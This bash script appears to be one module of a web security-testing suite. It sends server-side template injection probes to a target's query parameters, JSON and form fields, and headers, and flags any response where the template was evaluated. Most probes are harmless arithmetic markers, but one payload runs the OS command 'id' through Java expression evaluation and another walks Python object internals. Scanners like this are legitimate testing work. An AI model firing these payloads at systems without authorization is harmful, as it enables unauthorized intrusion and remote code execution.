#!/bin/bash # 30 - Server-Side Template Injection (SSTI) # Probes all user-input-bearing endpoints with template payloads for: # Jinja2 (Python), Twig/Blade (PHP), Smarty (PHP), ERB (Ruby), # Velocity/Freemarker (Java), Pebble (Java), Handlebars (Node), EL (Java EE) # HTTP/1.1 and HTTP/2 covered SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" source "$SCRIPT_DIR/../config.sh" OUT_FILE="$OUT/30_ssti.txt" echo "=== 30. Server-Side Template Injection (SSTI) ===" | tee "$OUT_FILE" echo "Target: $TARGET API: $API_TARGET" | tee -a "$OUT_FILE" echo "" | tee -a "$OUT_FILE" W() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"; } # Detection: each payload evaluates a math expression # If the response contains the computed result, SSTI is confirmed SSTI_PROBES=( "{{7*7}}:49" "${7*7}:49" "<%= 7*7 %>:49" "#{7*7}:49" "*{7*7}:49" "@{7*7}:49" "{{7*'7'}}:7777777" "{#7*7#}:49" "${{7*7}}:49" "{php}echo(7*7);{/php}:49" "{% set x=7*7 %}{{x}}:49" "{{config}}:Config" "{{self}}:class" "${T(java.lang.Runtime).getRuntime().exec('id')}:uid" "{{''.__class__.__mro__[1].__subclasses__()}}:object" ) check_ssti() { local label="$1" body="$2" expected="$3" if echo "$body" | grep -qF "$expected"; then printf ' [VULN] Template evaluated! Expected "%s" found in response\n' "$expected" | tee -a "$OUT_FILE" fi } do_ssti_get() { local param="$1" probe="$2" expected="$3" url="$4" local ENC body code ENC=$(W "$probe") body=$(curl -sk --http2 --max-time 8 -A "$BROWSER_UA" "$url?${param}=${ENC}") code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" "$url?${param}=${ENC}") printf '[%s] SSTI GET ?%s=%s\n' "$code" "$param" "${probe:0:20}" | tee -a "$OUT_FILE" check_ssti "$probe" "$body" "$expected" } do_ssti_post_json() { local field="$1" probe="$2" expected="$3" url="$4" local PAYLOAD body code PAYLOAD=$(python3 -c "import json,sys; print(json.dumps({sys.argv[1]: sys.argv[2], 'algorithm':'classical'}))" "$field" "$probe") body=$(curl -sk --http2 --max-time 8 -A "$BROWSER_UA" \ -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$url") code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" \ -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$url") printf '[%s] SSTI POST JSON {%s: "%s"}\n' "$code" "$field" "${probe:0:20}" | tee -a "$OUT_FILE" check_ssti "$probe" "$body" "$expected" } do_ssti_post_form() { local field="$1" probe="$2" expected="$3" url="$4" local ENC body code ENC=$(W "$probe") body=$(curl -sk --http2 --max-time 8 -A "$BROWSER_UA" \ -X POST -H 'Content-Type: application/x-www-form-urlencoded' \ -d "${field}=${ENC}" "$url") code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" \ -X POST -H 'Content-Type: application/x-www-form-urlencoded' \ -d "${field}=${ENC}" "$url") printf '[%s] SSTI POST form %s=%s\n' "$code" "$field" "${probe:0:20}" | tee -a "$OUT_FILE" check_ssti "$probe" "$body" "$expected" } # ── 1. GET parameters ───────────────────────────────────────────────────────── echo "--- SSTI via GET Parameters ---" | tee -a "$OUT_FILE" GET_PARAMS=(q search name msg error page template view lang) for PARAM in "${GET_PARAMS[@]}"; do for PROBE_PAIR in "${SSTI_PROBES[@]:0:6}"; do PROBE="${PROBE_PAIR%%:*}" EXPECTED="${PROBE_PAIR##*:}" do_ssti_get "$PARAM" "$PROBE" "$EXPECTED" "$TARGET/" done done echo "" | tee -a "$OUT_FILE" # ── 2. POST JSON body (API) ──────────────────────────────────────────────────── echo "--- SSTI via API JSON POST Body ---" | tee -a "$OUT_FILE" JSON_FIELDS=(data message template name input query) for FIELD in "${JSON_FIELDS[@]}"; do for PROBE_PAIR in "${SSTI_PROBES[@]:0:8}"; do PROBE="${PROBE_PAIR%%:*}" EXPECTED="${PROBE_PAIR##*:}" do_ssti_post_json "$FIELD" "$PROBE" "$EXPECTED" "$API_TARGET/encrypt" done done echo "" | tee -a "$OUT_FILE" # ── 3. POST form body ────────────────────────────────────────────────────────── echo "--- SSTI via Form POST Body ---" | tee -a "$OUT_FILE" FORM_ENDPOINTS=("$TARGET/" "$TARGET/contact/" "$TARGET/admin/") FORM_FIELDS=(username message subject email comment) for URL in "${FORM_ENDPOINTS[@]}"; do for FIELD in "${FORM_FIELDS[@]}"; do for PROBE_PAIR in "${SSTI_PROBES[@]:0:4}"; do PROBE="${PROBE_PAIR%%:*}" EXPECTED="${PROBE_PAIR##*:}" do_ssti_post_form "$FIELD" "$PROBE" "$EXPECTED" "$URL" done done done echo "" | tee -a "$OUT_FILE" # ── 4. HTTP Headers as injection points ─────────────────────────────────────── echo "--- SSTI via HTTP Headers ---" | tee -a "$OUT_FILE" HEADER_NAMES=("X-Custom-Header" "X-Template-Name" "X-Debug" "User-Agent" "Referer") for HDR in "${HEADER_NAMES[@]}"; do for PROBE_PAIR in "${SSTI_PROBES[@]:0:4}"; do PROBE="${PROBE_PAIR%%:*}" EXPECTED="${PROBE_PAIR##*:}" body=$(curl -sk --http2 --max-time 8 -H "$HDR: $PROBE" "$TARGET/") code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -H "$HDR: $PROBE" "$TARGET/") printf '[%s] SSTI header %s: %.20s\n' "$code" "$HDR" "$PROBE" | tee -a "$OUT_FILE" check_ssti "$PROBE" "$body" "$EXPECTED" done done echo "" | tee -a "$OUT_FILE" # ── 5. PHP-specific SSTI (Smarty/Twig/Blade) ────────────────────────────────── echo "--- PHP Template Engine Probes (Smarty/Twig/Blade) ---" | tee -a "$OUT_FILE" PHP_PROBES=( '{php}echo 7*7;{/php}:49' '{$smarty.version}:Smarty' '{{dump()}}:array' '{if 1}rendered{/if}:rendered' '{% debug %}:debug' ) for PROBE_PAIR in "${PHP_PROBES[@]}"; do PROBE="${PROBE_PAIR%%:*}" EXPECTED="${PROBE_PAIR##*:}" ENC=$(W "$PROBE") body=$(curl -sk --http2 --max-time 8 -A "$BROWSER_UA" "$TARGET/?q=$ENC") code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" "$TARGET/?q=$ENC") printf '[%s] PHP SSTI: %.30s\n' "$code" "$PROBE" | tee -a "$OUT_FILE" check_ssti "$PROBE" "$body" "$EXPECTED" done echo "" | tee -a "$OUT_FILE" # ── 6. HTTP/1.1 vs HTTP/2 consistency ───────────────────────────────────────── echo "--- Protocol Consistency ---" | tee -a "$OUT_FILE" for PROTO in "--http1.1" "--http2"; do ENC=$(W "{{7*7}}") body=$(curl -sk $PROTO --max-time 8 -A "$BROWSER_UA" "$TARGET/?q=$ENC") code=$(curl -sk $PROTO -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER_UA" "$TARGET/?q=$ENC") printf '[%s] %s SSTI probe {{7*7}}\n' "$code" "$PROTO" | tee -a "$OUT_FILE" check_ssti '{{7*7}}' "$body" "49" done echo "" | tee -a "$OUT_FILE" echo "=== 30. SSTI COMPLETE ===" | tee -a "$OUT_FILE"